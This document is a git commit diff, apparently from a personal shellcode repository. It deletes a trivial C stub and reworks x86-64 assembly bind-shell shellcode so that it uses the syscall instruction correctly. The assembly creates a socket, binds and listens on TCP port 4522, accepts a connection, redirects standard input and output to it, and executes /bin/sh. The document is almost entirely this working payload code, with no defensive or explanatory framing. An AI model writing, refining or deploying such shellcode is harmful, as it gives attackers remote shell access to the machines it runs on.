aboutsummaryrefslogtreecommitdiff
path: root/shellcode
diff options
context:
space:
mode:
Diffstat (limited to 'shellcode')
-rw-r--r--shellcode/simple.c11
-rw-r--r--shellcode/socket_x64.asm43
2 files changed, 22 insertions, 32 deletions
diff --git a/shellcode/simple.c b/shellcode/simple.c
deleted file mode 100644
index bf2bf43..0000000
--- a/shellcode/simple.c
+++ /dev/null
@@ -1,11 +0,0 @@
-/*
- * gcc -c -Wall -fpic -Os shellcode.c -o shellcode.o
- * ld -N -Ttext 0x0 -e _start -Map shellcode.map shellcode.o -o shellcode
- * objcopy -R .note -R .comment -S -O binary shellcode shellcode.bin
- */
-
-int _start(void) {
- while (1) {
- }
- return (0);
-}
diff --git a/shellcode/socket_x64.asm b/shellcode/socket_x64.asm
index 131fefa..1ec36b0 100644
--- a/shellcode/socket_x64.asm
+++ b/shellcode/socket_x64.asm
@@ -8,66 +8,67 @@ xor rdx,rdx
mov dil,0x2 ; AF_INET
mov sil,0x1 ; SOCK_STREAM
mov al,0x29 ; socket() syscall
-int 0x80 ; let the kernel do the stuff
+syscall
mov rdi,rax ; save sockfd (used as argument for future calls)
; bind()
xor rax,rax
-xor rdi,rdi
-xor rsi,rsi
push rax ; sockaddr_in: in_addr = 0
push word 0x11AA ; sockaddr_in: tcp port
push word 0x2 ; sockaddr_in: sa_family = AF_INET
mov rsi,rsp ; save stack pointer (pointer to struct sockaddr_in)
-mov rdx,0x10 ; addrlen
+mov dl,0x10 ; addrlen
mov al,0x31 ; bind() syscall
-int 0x80 ; kernel mode
+syscall
; listen()
xor rax,rax
xor rsi,rsi ; zero rsi (arg2 -> backlog)
mov al,0x32 ; listen() syscall
-int 0x80
+syscall
; accept()
xor rax,rax
push rax ; sockaddr_in: in_addr = 0
-push word ax ; sockaddr_in: tcp_port = 0
+push word 0x11AA ; sockaddr_in: tcp_port = 0
push word 0x2 ; sockaddr_in: sa_family = AF_INET
mov rsi,rsp ; save stack pointer (pointer to struct sockaddr_in)
+push 0x10 ; addr_len
+mov rdx,rsp ; pointer to upeer_addrlen
mov al,0x2B ; accept() syscall
-int 0x80
+syscall
+
+mov rdi,rax ; save clientfd
; dup2()
-xor rcx,rcx
-mov cl,0x3 ; loop count
+xor rdx,rdx
+mov dl,0x3
dupes:
-xor rsi,rsi
-dec cl ; loop var
-mov rsi,rcx ; loop var -> newfd
+mov rsi,rdx
+dec rsi
xor rax,rax
-mov al,0x21 ; dup2() syscall
-int 0x80
-inc cl
-loop dupes
+mov al,0x21
+syscall
+dec dl
+jnz dupes
; exec
mov rax,0x68732f6e69622f2f ; string 'hs/nib//'
push rax ; push the string onto the stack
-mov rdi,rsp ; arg1 = pointer to string
xor rax,rax
+mov byte [rsp + 8],al ; null-terminate the string
+mov rdi,rsp ; arg1 = pointer to string
push rax ; arg2 = null
mov rsi,rsp
push rax ; arg3 = null
mov rdx,rsp
-mov byte [esp + 8],al ; null-terminate the string
mov al,0x3b ; exec() syscall
-int 0x80
+syscall
; exit()
xor rax,rax
xor rdi,rdi
mov dil,0x42 ; return code (66d)
mov al,0x3c ; exit() syscall
-int 0x80
+syscall